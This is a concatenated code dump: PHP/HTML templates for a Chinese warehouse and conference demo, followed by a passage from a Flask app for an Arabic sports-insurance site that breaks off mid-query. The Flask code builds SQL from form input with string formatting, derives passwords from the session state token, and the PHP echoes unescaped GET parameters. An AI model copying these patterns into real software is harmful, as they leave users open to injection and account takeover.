.partnerList li {float:left; width:150px; margin:5px 4px 0 0;} .partnerList li a {border-bottom:2px solid #fff; display:block;} .partnerList li a:hover {border-bottom-color:#4dadeb;} #footer {border-top:1px solid #ddd; background:#fff; padding:10px; overflow:auto; _zoom:1;} #footer ul {overflow:hidden;float:left;} #footer ul li {float:left;margin-left:-1px; margin-right:10px; padding-left:10px; border-left:1px solid #ddd;} #footer .powerby {float:right;} </style> </head> <body> <div id="wrapper"> <div id="header"> <h1><a href="/"><img src="http://res.hyzing.com/res/img/intro/logo.png" /></a></h1> <form class="global-search" action="/managerc/login" name="manageLogin" method="post"> <input id="loginId" name="loginId" type="text" placeholder="用户名:" class="text" /> <input id="passwd" name="passwd" type="password" placeholder="密码:" class="text" /> <button>登入</button> </form> </div> <div id="content"> <div class="intro box"> <dl> <?php foreach($eventMeta as $val) { ?> <dt><?php echo $val['title']; ?></dt> <dd> <ul<?php if(count($val['desc'])>4) echo ' class="linebreak"' ;?>> <?php foreach($val['desc'] as $desc) { echo '<li>',$desc,'</li>'; }?> </ul> </dd> <?php } ?> </dl> <img src="http://res.hyzing.com/res/img/intro/demo.png" alt="desc" /> <a class="demo-start" href="http://event.hyzing.com/managerc/demoStart">demo-测试</a> </div> <div class="column"> <div class="comments box"> <h2>用户评价</h2> <ul> <?php foreach($commentList as $val) { ?> <li> <div class="avatar"> <img class="img" src="<?php echo $val['img'];?>" /> <span class="name"><?php echo $val['name']; ?></span> <span class="company"><?php echo $val['company']; ?></span> <span class="date"><?php echo $val['date']; ?></span> </div> <div class="comment"> <?php echo $val['comment']; ?> <b class="arrow"></b> <div> </li> <?php } ?> </ul> </div> <div class="eventList box"> <h2>活动实例</h2> <ul> <?php foreach($eventList as $val) { ?> <li><a href="<?php echo $val['link']?>"><?php echo $val['title'] ?></a></li> <?php } ?> </ul> </div> <div class="partnerList box"> <h2>合作伙伴</h2> <ul> <?php foreach($partnerList as $val) { ?> <li><a href="<?php echo $val['link']?>"><img src="<?php echo $val['img'] ?>" alt="<?php echo $val['desc']; ?>" /></a></li> <?php } ?> </ul> </div> </div> </div> <div id="footer"> <ul> <?php foreach($linkList as $val) { ?> <li><a href="<?php echo $val['link'] ?>"><?php echo $val['title'] ?></a></li> <?php } ?> </ul> <p class="powerby"><a href="http://hyzing.com" target="_blank">海震智能</a> &copy; 2010</p> </div> </div> </body> </html> <file_sep>/wms/function.php <?php class util { public static function getPageName() { echo ($_GET && $_GET['p'])?$_GET['p']:'list'; } } class TPL { public static function header(){ $ret = ' <div id="header"> <img id="logo" src="img/logo.png" width="180" height="65" title="智能仓储系统" alt="hyzing wms" /> <ul id="quick-launch"> <li><a href="#ql-1">ql-1</a></li> </ul> </div> <div id="gloabl-nav"> </div> '; echo $ret; } public static function sidebar($leng = 6){ $menu = $item = ''; for ($i=0; $i<$leng; $i++ ) { if ($i == 4) { $act = ' actived'; $prefix = ' class="actived"'; }else { $prefix = ' class="hidden"'; $act = ''; } $item .= '<a class="item'.$act.'" href="#item'.$i.'">第'.$i.'个菜单子项</a>'; $menu .= '<dt class="menu" href="#menu'.$i.'">这是第'.$i.'个菜单</dt><dd'.$prefix.'>'.$item.'</dd>'; } $ret = '<dl id="side">'.$menu.'</dl>'; echo $ret; } public static function simpleForm(){ $formContent = ''; $leng = 7; for ($i=0; $i<$leng; $i++ ) { $type = $required = $autofocus = ''; switch($i) { case '0': $type = 'text'; $autofocus = ' autofocus'; break; case '1': $type = 'password'; break; case '2': $type = 'email'; $required = ' required'; break; case '3': $type = 'number'; break; case '4': $type = 'range" min="1" max="10"'; break; case '5': $type = 'date'; break; case '6': $type = 'tel'; break; } $formContent .= '<p><label>'.$type.'</label><input class="ipt" placeholder="'.$type.'" type="'.$type.'"'.$required.$autofocus.' /></p>'; } $ret = '<form>'.$formContent.'<p><label>内容</label><textarea class="ta"></textarea></p><p class="act"><button type="submit">确认</button><button type="cancel">取消</button></p></form>'; echo $ret; } public static function pageForm(){ echo '<div class="box"> <div class="hd">标题为了表单示例</div> <div class="bd">'; TPL::simpleForm(); // TPL::getCrumd(); // TPL::listView(); echo ' </div> </div>'; } public static function getCrumb(){ echo '<div class="crumb"> <a href="#list">订单列表</a> <span>&gt;</span> Order#123987 </div>'; } public static function listView($leng=20){ $tbody = ''; for($i=0; $i<$leng; $i++) { $tbody .= '<tr data-id="'.$i.'"><td class="sel"><input type="checkbox" class="J_sel_'.$i.'" /></td><td class="id">'.$i.'</td><td>衣服'.$i.'件</td><td><a href="#edit">修改</a><span class="pipe">|</span><a href="#del">删除</a></td></tr>'; } $thead = '<thead><tr><th class="sel no-border"></td><th class="id">id</th><th>描述</th><th class="opt">操作</th></tr></thead>'; $searchform = '<form class="search"><span>另一个输入框: <input type="text" /></span><span>选择: <select><option value="b">b</option><option value="a">a</option></select></span><span><input type="text" placeholder="可以搜索标题, id, 描述" /><button type="submit">搜索</button></span></form>'; $opt = '<div class="action"><span class="batch"><a class="J_batch" href="#J_sel_all">全选,</a> <a href="#J_sel_del" class="J_batch_del">删除已选</a></span>'.$searchform.'</div>'; $page = '<div class="tfoot"><span class="batch"><a class="J_batch" href="#J_sel_all">全选,</a> <a href="#J_sel_del" class="J_batch_del">删除已选</a></span><div class="page-num"><span class="prev">上页</span><span class="current">2</span><a href="#1">1</a><a href="#3">3</a><a href="#4">4</a><a href="#5">5</a><span class="abbr">...</span><a class="next">下页</a></div></div>'; $ret=$opt.'<table class="nt sample-list">'.$thead.$tbody.'</table>'; echo $ret.$page; } public function pageList() { TPL::getCrumb(); echo '<div class="box"><div class="bd">'; TPL::listView(); echo '</div></div>'; } public function detail() { TPL::getCrumb(); $tb = '<table class="nt"> <thead><tr><th>产品编号</th><th>产品名称</th><th>预入库数量</th><th>操作</th></tr></thead> <tbody id="tbb"> <tr><td><input type="hidden" id="xh" value="1" size="5" readonly="readonly"><input type="hidden" name="prid" size="12" readonly="readonly" value="1"><input type="hidden"> id </td><td>name</td><td>number</td><td><span onclick="show();"><img src="/img/histroy-add.png"></span>&nbsp; <span onclick="delLine(this);"><img src="/img/histroy-rm.png"></span><input id="sub" type="hidden" name="kcun" value="10001"></td></tr> <tr><td><input type="hidden" id="xh" value="1" size="5" readonly="readonly"><input type="hidden" name="prid" size="12" readonly="readonly" value="1"><input type="hidden"> id </td><td>name</td><td>number</td><td><span onclick="show();"><img src="/img/histroy-add.png"></span>&nbsp; <span onclick="delLine(this);"><img src="/img/histroy-rm.png"></span><input id="sub" type="hidden" name="kcun" value="10001"></td></tr> <tr><td><input type="hidden" id="xh" value="1" size="5" readonly="readonly"><input type="hidden" name="prid" size="12" readonly="readonly" value="1"><input type="hidden"> id </td><td>name</td><td>number</td><td><span onclick="show();"><img src="/img/histroy-add.png"></span>&nbsp; <span onclick="delLine(this);"><img src="/img/histroy-rm.png"></span><input id="sub" type="hidden" name="kcun" value="10001"></td></tr> </tbody> </table> '; echo '<div class="box"> <div class="hd">标题为了详情示例</div> <div class="bd"> <p><span class="label">描述:</span>哈哈哈</p> <p><span class="label">描述:</span>哈哈哈</p> <div class="p"><span class="label">表格描述:</span>'.$tb.'</div> </div> </div>'; } } <file_sep>/distro/test.php <!DOCTYPE html> <html> <head> <title>FIXME</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="stylesheet" href="style.css" /> <script type="text/javascript" src="http://res.hyzing.com/res/js/jquery/jquery-1.4.2.min.js"></script> </head> <body> <div class="header"><img src="img/logo_bg.png" alt="智能仓库管理系统" /></div> <div class="wrapper"> <div class="column storage"> <h2>库存状态</h2> <ul> <?php $storageList = array( array('label'=>'上衣','number'=>'10000件'), array('label'=>'裤子','number'=>'1000件'), array('label'=>'袜子','number'=>'100件') ); foreach ($storageList as $val) { echo '<li><span class="label">', $val['label'], '</span><span class="number">',$val['number'],'</span></li>'; } ?> </ul> </div> <div class="column record"> <h2><a class="entry active" href="###">入库记录</a><span class="pipe">|</span><a class="egress" href="###">出库记录</a></h2> <div class="list-container"> <div id="entry-list" class="list"> <ul> <?php for($i=5; $i>0; $i--) { ?> <li<?php echo $i%2?' class="color"':'' ?>> <h3>入库号: 10010<?php echo $i;?></h3> <p class="desc"> <span class="operator">操作员: 庄小明</span> <span class="date">入库时间: <?php echo date('Y-m-d G:i', mktime(13,$i*10,3,11,24,2010)); ?></span> </p> <div class="detail full hidden"> <span class="detail-label">物品明细</span>: 物品明细: <table class="detail-table"> <tr> <th>名称</th><th>须入库数量</th><th>实际数量</th><th>目的地</th><th>状态</th> </tr> <tr><td>衣服</td><td>998</td><td>890</td><td>北京</td><td class="error">数目不符</td></tr> <tr><td>裤子</td><td>9999</td><td>9999</td><td>南京</td><td class="error">区域不符</td></tr> <tr><td>鞋子<td>1000</td><td>1000</td><td>北京</td><td class="normal">正常</td></tr> </table> <p class="more"><a class="J_toggledetail" href="###">收起详情</a></p> </div> <div class="detail compact"> <span class="detail-label">物品明细</span>: 上衣 裤装 鞋袜 <a class="more J_toggledetail" href="###">察看详情</a> </div> </li> <?php } ?> </ul> </div> <div id="egress-list" class="list"> <ul> <?php for($j=11; $j>6; $j--) { ?> <li<?php echo $j%2?' class="color"':'' ?>> <h3>出库号: 10010<?php echo $j;?></h3> <p class="desc"> <span class="operator">操作员: 庄小明</span> <span class="date">出库时间: <?php echo date('Y-m-d G:i', mktime(13,$j*10,3,11,24,2010)); ?></span> </p> <div class="detail full hidden"> <span class="detail-label">物品明细</span>: 物品明细: <table class="detail-table"> <tr> <th>名称</th><th>须出库数量</th><th>实际数量</th><th>目的地</th><th>状态</th> </tr> <tr><td>衣服</td><td>998</td><td>890</td><td>北京</td><td class="error">数目不符</td></tr> <tr><td>裤子</td><td>9999</td><td>9999</td><td>南京</td><td class="error">区域不符</td></tr> <tr><td>鞋子<td>1000</td><td>1000</td><td>北京</td><td class="normal">正常</td></tr> </table> <p class="more"><a class="J_toggledetail" href="###">收起详情</a></p> </div> <div class="detail compact"> <span class="detail-label">物品明细</span>: 上衣 裤装 鞋袜 <a class="more J_toggledetail" href="###">察看详情</a> </div> </li> <?php } ?> </ul> </div> </div> </div> <div class="column histroy"> <h2>历史记录</h2> <ul> <?php for($k=11; $k>0; $k--) { // echo '<li>', $date('Y-m-d G:i'), ' 小明', ($k==2)?'禁止':'确认','单号: abcdef-10010',$k,' 入库</li>'; if ($k<6) { $stat = 'add'; $text = '确认单号: 10010'.$k.' 入库'; }elseif ($k == 6) { $stat = 'disable'; $text = '禁止单号: 10010'.$k.' 入库'; } else { $stat = 'rm'; $text = '确认单号: 10010'.$k.' 出库'; } echo '<li class="', $stat,'">', date('Y-m-d G:i', mktime(13,$k*10,3,11,24,2010)), ' 庄小明',$text, '</li>'; } ?> </ul> </div> <div id="J_dialog" class="dialog list entry"> <h3>入库号: 1001012<b>&#9650;</b></h3> <p class="desc"> <span class="operator">操作员: 小明</span> <span class="date">入库时间: <?php echo date('Y-m-d G:i'); ?></span> </p> <div class="detail full"> <div class="J_detail"> <span class="detail-label">物品明细</span>: <table class="detail-table"> <tr> <th>名称</th><th>须入库数量</th><th>实际数量</th><th>目的地</th><th>状态</th> </tr> <tr><td>袜子</td><td>365</td><td>365</td><td>南京</td><td class="error">区域不符</td></tr> <tr><td>衣服</td><td>794</td><td>790</td><td>北京</td><td class="error">数目不符</td></tr> <tr><td>鞋子<td>9999</td><td>9999</td><td>北京</td><td class="normal">正常</td></tr> </table> </div> <form class="J_form"> <p class="act"> <button>确认入库</button> <button class="forbid">禁止入库</button> </p> </form> </div> </div> </div> </body> <script type="text/javascript"> $(document).ready(function(){ var drag = { /* elName : '', el : '', x : '', y : '', */ move : function(e){ e = e || window.event; var el = drag.root || drag.el; el.style.left = (e.clientX - drag.x)+'px'; el.style.top = (e.clientY - drag.y)+'px'; }, init : function(el, root) { self = this; self.el = el; if (root) self.root = root; el.onmousedown = function(e) { e = e || window.event; e.preventDefault(); self.x = e.clientX - root.offsetLeft; self.y = e.clientY - root.offsetTop; document.onmousemove = self.move; document.onmouseup = function(){ document.onmousemove = null; document.onmouseup = null; if (self.onDragEnd) self.onDragEnd(); } } }, onDragEnd : '' }; // 拖动浮出层 var _root = document.getElementById('J_dialog'), _el = _root.getElementsByTagName('h3')[0]; drag.init(_el, _root); // 禁止入库时插入文本框 $('#J_dialog').click(function(e){ e.stopPropagation(); if (!$(e.target).hasClass('forbid')) return false; $('#J_dialog .J_detail').slideUp(); $('#J_dialog .J_form .act').before('<div class="J_info"><span class="detail-label">操作原因:</span><textarea class="ta"></textarea></div>'); $('#J_dialog .act').html('<button type="submit">提交</button> <a class="back" href="###">返回</a>'); //点击返回时回到入库表单 $('#J_dialog .act .back').click(function(e){ e.stopPropagation(); $('#J_dialog .J_detail').slideDown(); $('#J_dialog .J_info').slideUp(); $('#J_dialog .act').html('<button>确认入库</button> <button class="forbid">禁止入库</button>'); }); }); // 鼠标经过历史纪录时,切换一个更醒目的样式 $('.histroy').mouseenter(function(){ $(this).toggleClass('view-histroy'); }).mouseleave(function(){ $(this).toggleClass('view-histroy'); }); // 切换出/入库记录 var swichList = function(el){ if(!$(el).hasClass('active')) { // 切换标题激活状态 $('.record h2 .active').removeClass('active'); $(el).toggleClass('active'); //切换列表显示状态 if ($(el).hasClass('entry')) { var i=21, moveList = setInterval(function(){ $('.list-container').css('left','-'+20*(i--)+'px'); if (i<0) clearInterval(moveList); }, 20); }else if ($(el).hasClass('egress')) { var i=1, moveList = setInterval(function(){ $('.list-container').css('left','-'+20*(i++)+'px'); if (i>21) clearInterval(moveList); }, 20); } } } $('.record h2 a').click(function(e){ e.stopPropagation(); swichList(e.target); }); //切换详情展示 $('.detail .J_toggledetail').click(function(e){ e.stopPropagation(); var thisDetail = $(this).parent(); if (thisDetail.hasClass('compact')) { thisDetail.fadeOut(); thisDetail.prev().slideDown(); }else { thisDetail.parent().slideUp(); thisDetail.parent().next().fadeIn(); } console.log(thisDetail.parent()); }); }); </script> </html> <file_sep>/welcome/js/welcome.js function showUser() { xmlHttp = GetXmlHttpObject(); if (xmlHttp == null) { alert("Your browser does not support AJAX!"); return; } var url = "welcome.do"; xmlHttp.onreadystatechange = stateChanged; xmlHttp.open("POST", url, true); xmlHttp.send(null); setTimeout("showUser()", "3000"); } function stateChanged() { if (xmlHttp.readyState == 4) { var xmlDoc = xmlHttp.responseXML; var vipList = xmlDoc.getElementsByTagName("vip"); var outputStr = document.createElement('ul'); if (vipList.length > 0) { for (var i = 0; i < vipList.length; i++) { var user = vipList[i]; var username = user.childNodes[0].textContent; var company = user.childNodes[1].textContent; var titleName = user.childNodes[2].textContent; var arriveTime = user.childNodes[3].textContent; var currentTime = user.childNodes[4].textContent; outputStr.innerHTML += "<li class=\"vip\">欢迎<span class=\"info\"><strong class=\"name\">" + username + "</strong>" + company + "<span class=\"honor\">" + titleName + "</span></span><small>初次来访: "+arriveTime+"<br />最近来访::"+currentTime+"</small></li>" } // document.getElementById("marquee").innerHTML = outputStr; $(outputStr).css('display','none'); var mar = $('#marquee'); $(outputStr).insertAfter(mar); mar.remove(); $(outputStr).attr('id','marquee').css('display',''); $('#marquee').fadeIterator({limit:3,speed:2000}); } var jiabinList = xmlDoc.getElementsByTagName("jiabin"); if (jiabinList.length > 0) { var tBody =document.getElementById("jiabinTbody"); tBody.innerHTML = ""; for (var j = 0; j < jiabinList.length; j++) { var jiabin = jiabinList[j]; var tr1 = document.createElement('tr'); var td1 = document.createElement('td'); td1.innerHTML = jiabin.childNodes[0].textContent; tr1.appendChild(td1); var td2 = document.createElement('td'); td2.innerHTML = jiabin.childNodes[1].textContent; tr1.appendChild(td2); var td3 = document.createElement('td'); td3.innerHTML = jiabin.childNodes[2].textContent; tr1.appendChild(td3); var td4 = document.createElement('td'); td4.innerHTML = jiabin.childNodes[3].textContent; var td5 = document.createElement('td'); td4.className='time'; td5.className='time'; td5.innerHTML = jiabin.childNodes[4].textContent; tr1.appendChild(td4); tr1.appendChild(td5); tBody.appendChild(tr1); } } var main_show = xmlDoc.getElementsByTagName("main_show"); if (main_show != undefined) { var vipUser = main_show[0]; if (vipUser != undefined) { document.getElementById("vipName").innerHTML = vipUser.childNodes[0].textContent; document.getElementById("vipCompany").innerHTML = vipUser.childNodes[1].textContent; document.getElementById("titleName").innerHTML = vipUser.childNodes[2].textContent; } } document.getElementById("user_count").innerHTML = xmlDoc.getElementsByTagName("user_count")[0].childNodes[0].textContent; document.getElementById("company_count").innerHTML = xmlDoc.getElementsByTagName("company_count")[0].childNodes[0].textContent; } } function remove(tBody) { var count = tBody.rows.length; for (var i = 1; i < count; i++) { tBody.deleteRow(i); } } function GetXmlHttpObject() { var xmlHttp = null; try { // Firefox, Opera 8.0+, Safari xmlHttp = new XMLHttpRequest(); } catch (e) { // Internet Explorer try { xmlHttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } } return xmlHttp; } <file_sep>/event/groupList.php <?php header("Content-type: text/html; charset=utf-8"); $groupList = array( array('title'=>'江苏互联网俱乐部', 'link'=>''), array('title'=>'南京邮电大学', 'link'=>''), array('title'=>'dev', 'link'=>'') ); $eventList = array( array('title'=>'2010江苏互联网大会', 'link'=>''), array('title'=>'2010年全国泛在网与物联网技术标准研讨会', 'link'=>''), array('title'=>'2010 MIT', 'link'=>'') ); $linkList = array( array('title'=>'关于我们', 'link'=>'http://hyzing.com/about-us/'), array('title'=>'加入我们', 'link'=>'http://hyzing.com/about-us/#join'), array('title'=>'定投广告', 'link'=>'mailto:<EMAIL>'), array('title'=>'隐私声明', 'link'=>'#'), array('title'=>'苏ICP证10211262号', 'link'=>'#') ) ?> <!DOCTYPE html> <html> <head> <meta charset="utf8" /> <title>海震智能会务</title> <link rel="stylesheet" href="assets/style.css" /> <!-- <script src="FIXME"></script> --> </head> <body> <div id="wrapper"> <div id="header"> <h1><a href="/"><img src="http://res.hyzing.com/res/img/intro/logo.png" /></a></h1> <div class="user-setting"> <a href="#profile">阿熊</a>(系统管理员) <span class="pipe">|</span> <a href="#profile">个人设置</a> <span class="pipe">|</span> <a href="#logout">退出</a> </div> <div class="global-nav"> <a href="eventList.php">系统</a> <span class="pipe">|</span> <a href="report.php">查看报告</a> <?php // 这里后台不方便记的话,选中会议之后写入cookie, 关闭浏览器后清空 ?> <select class="global-event" name="eventList"> <option value="">选择会议</option> </select> <span class="global-group">群组: <select id="global-event" name="eventList"> <option value="">江苏互联网</option> </select> </span> </div> </div> <div id="content"> <div class="crumb"> <a href="groupList.php">群组</a> <span>&gt;</span> 选择群组 </div> <div class="box special"> <div class="hd"> <a class="add"> + 添加新群组</a> <div class="filter"> <form action="" method="post"> 显示 <select name="show"> <option value="5">5</option> <option value="10" selected>10</option> <option value="20">20</option> </select> 搜索 <input type="text" name="" /> <button>提交</button> </div> </div> <div class="bd"> <table class="group-list"> <tr> <th class="name">群组名</th> <th class="opt">操作</th> </tr> <?php foreach($groupList as $key=>$val) { echo '<tr', ($key%2 == 0) ? ' class="color"':'','><td><a href="eventList.php?id=',$key,'">',$val['title'],'</a></td><td><a href="">修改</a><span class="pipe">|</span><a href="">关闭</a></td></tr>'; }?> </table> <div class="pagination"> 1 2 3 4 5 </div> </div> </div> </div> <div id="footer"> <ul> <?php foreach($linkList as $val) { ?> <li><a href="<?php echo $val['link'] ?>"><?php echo $val['title'] ?></a></li> <?php } ?> </ul> <p class="powerby"><a href="http://hyzing.com" target="_blank">海震智能</a> &copy; 2010</p> </div> </div> </body> </html> <file_sep>/wms/index.php <?php include('./function.php');?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8" /> <title>dota upload</title> <link rel="stylesheet" href="css/style.css" /> <script src="js/jquery.js"></script> <script src="js/util.js"></script> </head> <body class="framework"> <div id="wrapper"> <?php TPL::header(); TPL::sidebar(); ?> <iframe id="J_frame" src="frame.php?p=<?php echo ($_GET && $_GET['p'])?$_GET['p']:'list';?>" frameborder="0" scrolling="no" /> </div> </body> </html> <file_sep>/wms/frame.php <?php include('./function.php');?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8" /> <title>dota upload</title> <link rel="stylesheet" href="css/style.css" /> <script src="js/jquery.js"></script> <script src="js/util.js"></script> </head> <body class="page-<?php util::getPageName() ?>"> <div id="main"> <?php if($_GET && $_GET['p']=='form') { TPL::pageForm(); echo ' <div style="width: 650px; max-height: 100%;" id="limit"><div><span>系统设置</span></div> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" value="3" name="name" onclick="chek(this)">角色添加 <input type="checkbox" value="2" name="name" onclick="chek(this)">子菜单添加 <input type="checkbox" value="1" name="name" onclick="chek(this)">菜单添加 <div><span>仓库管理</span></div> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" value="31" name="name" onclick="chek(this)">盘点 <input type="checkbox" value="30" name="name" onclick="chek(this)">出仓申请 <input type="checkbox" value="29" name="name" onclick="chek(this)">移仓申请 <input type="checkbox" value="28" name="name" onclick="chek(this)">入仓申请 <div><span>消息管理</span></div> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" value="37" name="name" onclick="chek(this)">发件箱 <input type="checkbox" value="36" name="name" onclick="chek(this)">收件箱 <input type="checkbox" value="33" name="name" onclick="chek(this)">发送消息 <input type="checkbox" value="32" name="name" onclick="chek(this)">公告箱 <div><span>产品管理</span></div> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" value="34" name="name" onclick="chek(this)">创建产品 <div><span>地址本</span></div> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="checkbox" value="35" name="name" onclick="chek(this)">组管理 </div> '; }else if($_GET['p']=='detail') { TPL::detail(); }else { $_GET['p'] = 'list'; TPL::pageList(); } ?> </div> <script> window.onload = function(){ util.frameResize(); <?php if(!$_GET || $_GET['p']=='list' ) { ?> //切换全选 util.batch($('.J_batch'), $('.sel input[type=checkbox]'), function(){ $('.J_batch').each(function(idx, el){ $(el).text() == '全选,' ? $(el).text('取消选中,') : $(el).text('全选,'); }); }); <?php } ?> } </script> </body> </html>
13e4c0ca61dc93bd88c9abfe0682daedb5f49430
[ "JavaScript", "PHP" ]
8
JavaScript
yanyaoer/demo
9bfad4a57f81d90899b2dd56af0657817d72d2e5
d95b138b54c7e3d0312c45ea00458329d4b88cfb
refs/heads/master
<repo_name>AmrStar25/Insurance-Website<file_sep>/__init__.py # -*- coding: utf-8 -*- from flask import Flask, render_template, request, redirect, jsonify, url_for, flash, abort, jsonify from flask import session as login_session import os import MySQLdb from flask_seasurf import SeaSurf from flask_mail import Mail, Message from flask_socketio import SocketIO, emit import random, string import requests from reportlab.lib.units import inch from reportlab.pdfgen import canvas from reportlab.pdfbase.pdfmetrics import stringWidth from reportlab.rl_config import defaultPageSize from reportlab.pdfbase import pdfmetrics from reportlab.pdfbase.ttfonts import TTFont import arabic_reshaper from bidi.algorithm import get_display from flask import send_file #from reportlab.lib.enums import TA_CENTRE, TA_JUSTIFY from reportlab.lib.pagesizes import letter, A4 from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer, Image, Table from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle from reportlab.lib.units import inch from reportlab.lib.fonts import addMapping import pdfkit #from jinja2 import Environment, PackageLoader #from werkzeug.debug import DebuggedApplication #import jinja2 #from werkzeug import secure_filename app = Flask(__name__) csrf = SeaSurf(app) socketio = SocketIO(app) app.config.update(dict( MAIL_SERVER = 'smtp.gmail.com', MAIL_PORT = 465, MAIL_USERNAME = '<EMAIL>', MAIL_PASSWORD ='<PASSWORD>', MAIL_USE_TLS = False, MAIL_USE_SSL = True, MAIL_SUPPRESS_SEND = False, MAIL_DEFAULT_SENDER = '<EMAIL>' )) mail = Mail(app) ALLOWED_EXTENSIONS = set(['jpg','gif']) app.config['UPLOAD_FOLDER'] = os.path.join(os.path.dirname(__file__), 'static/site/nationalid/') app.config['Offers_Folder'] = '/static/site/offers/' @app.route('/insuranceimportant', methods=['GET']) def InsuranceImportant(): return render_template('insurance-important.html') @app.route('/insurancelib', methods=['GET']) def InsuranceLib(): return render_template('insurance-lib.html') def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS @socketio.on('disconnect') def disconnect_user(): #logout_user() login_session.pop('username', None) login_session.pop('userpass', None) login_session.pop('type', None) login_session.pop('id', None) login_session.pop('state',None) @app.route('/logout', methods=['GET']) def logout(): if 'username' not in login_session or request.args.get('state') != login_session['state']: #return jsonify(request.args.get('state'), "1aaaaaaaaaa1",login_session['state']) return jsonify('error') #render_template('index.html') login_session.pop('username', None) login_session.pop('userpass', None) login_session.pop('type', None) login_session.pop('id', None) login_session.pop('state', None) return redirect(url_for('userlogin')) @app.route('/', methods=['POST','GET']) def userlogin(): if request.method == "GET": state = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for x in xrange(32)) login_session['state'] = state return render_template('index.html',STATE=state) else: if request.args.get('state') != login_session['state']: return jsonify('error') db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor=db.cursor() query = "SELECT * FROM accounts_users WHERE UserName=%s and UserPass=%s" cursor.execute(query,(request.form['name'],request.form['pass'])) result=cursor.fetchone() if cursor.rowcount == 0: db.close() return jsonify('error') else: db.close() login_session['id']=result[0] #user name is email of user login_session['username']=result[1] login_session['userpass']=result[2] login_session['type']=result[3] return jsonify(login_session['type']) # if login_session['type'] == 4: # return redirect(url_for('CompanyOffersAccess')) # else: # #return redirect(url_for('ClientOffers')) # return jsonify('error'+login_session['type']) @app.route('/ethad', methods=['POST','GET']) def EthadAccess(): if request.method == 'POST' and request.args.get('state') != login_session['state']: return redirect(url_for('userlogin')) if request.method == 'GET': state = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for x in xrange(32)) login_session['state']=state return render_template('ethad.html', STATE=state) else: db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor=db.cursor() try: # user name is his email query = "SELECT * FROM accounts_users WHERE UserName='%s'" % request.form['email'] cursor.execute(query) if cursor.rowcount == 0: #user type (1,2,3,4) for (ethad,club,player,company) query = "INSERT INTO accounts_users(UserName,UserPass,UserType,UserActive,Notes) Values('%s','%s','%s','%s','%s')"\ %(request.form['email'], login_session['state'][:7], 1, 1, request.form['notes']) #return (query,(request.form['email'], login_session['state'][:7], 1, 1, request.form['notes'])) cursor.execute(query) id = cursor.lastrowid query = "INSERT INTO ethad(EthadID,EthadName,EthadPhone,EthadFax) Values('%s','%s','%s','%s')"\ %(id,request.form['name'],request.form['phone'],request.form['fax']) cursor.execute(query) msg = Message('',recipients=[]) text = ("عزيزى ").decode("utf-8") text = text + request.form['name'] text = text + (" \nبرجاء استخدام بريدك الالكترونى وكلمه السر الاتيه لتسجيل الدخول \n").decode("utf-8") text = text + login_session['state'][:7] msg.body = text msg.subject = ("مصر للتامين الرياضى").decode("utf-8") msg.add_recipient(request.form['email']) # check internet connection r =requests.get("https://www.google.com/") if r.status_code != 200: db.rollback() db.close() return jsonify('error') mail.send(msg) db.commit() db.close() return jsonify('done') else: db.close() return jsonify('duplicate') except Exception as e: if db.open: db.rollback() db.close() return jsonify(str(e)) @app.route('/club', methods=['POST','GET']) def ClubAccess(): if request.method == 'POST' and request.args.get('state') != login_session['state']: return redirect(url_for('userlogin')) if request.method == 'GET': state = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for x in xrange(32)) login_session['state']=state return render_template('club.html', STATE=state) else: db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor = db.cursor() try: # user name is his email query = "SELECT * FROM accounts_users WHERE UserName='%s'" % request.form['email'] cursor.execute(query) if cursor.rowcount == 0: #user type (1,2,3,4) for (ethad,club,player,company) query = "INSERT INTO accounts_users(UserName,UserPass,UserType,UserActive,Notes) Values('%s','%s','%s','%s','%s')"\ %(request.form['email'], login_session['state'][:7], 2, 1, request.form['notes']) cursor.execute(query) id = cursor.lastrowid query = "INSERT INTO club(ClubID,ClubName,ClubPhone,ClubFax,Address) Values('%s','%s','%s','%s','%s')"\ %(id,request.form['name'],request.form['phone'],request.form['fax'],request.form['address']) cursor.execute(query) msg = Message('',recipients=[]) text = ("عزيزى ").decode("utf-8") text = text + request.form['name'] text = text + (" \nبرجاء استخدام بريدك الالكترونى وكلمه السر الاتيه لتسجيل الدخول \n").decode("utf-8") text = text + login_session['state'][:7] msg.body = text msg.subject = ("مصر للتامين الرياضى").decode("utf-8") msg.add_recipient(request.form['email']) # check internet connection r =requests.get("https://www.google.com/") if r.status_code != 200: db.rollback() db.close() return jsonify('error') mail.send(msg) db.commit() db.close() return jsonify('done') else: db.close() return jsonify('duplicate') except Exception as e: if db.open: db.rollback() db.close() return jsonify(str(e)) @app.route('/company', methods=['POST','GET']) def CompanyAccess(): if request.method == 'POST' and request.args.get('state') != login_session['state']: return redirect(url_for('userlogin')) if request.method == 'GET': state = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for x in xrange(32)) login_session['state']=state return render_template('company.html', STATE=state) else: db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor = db.cursor() try: # user name is his email query = "SELECT * FROM accounts_users WHERE UserName='%s'" % request.form['email'] cursor.execute(query) if cursor.rowcount == 0: #user type (1,2,3,4) for (ethad,club,player,company) query = "INSERT INTO accounts_users(UserName,UserPass,UserType,UserActive,Notes) Values('%s','%s','%s','%s','%s')"\ %(request.form['email'], 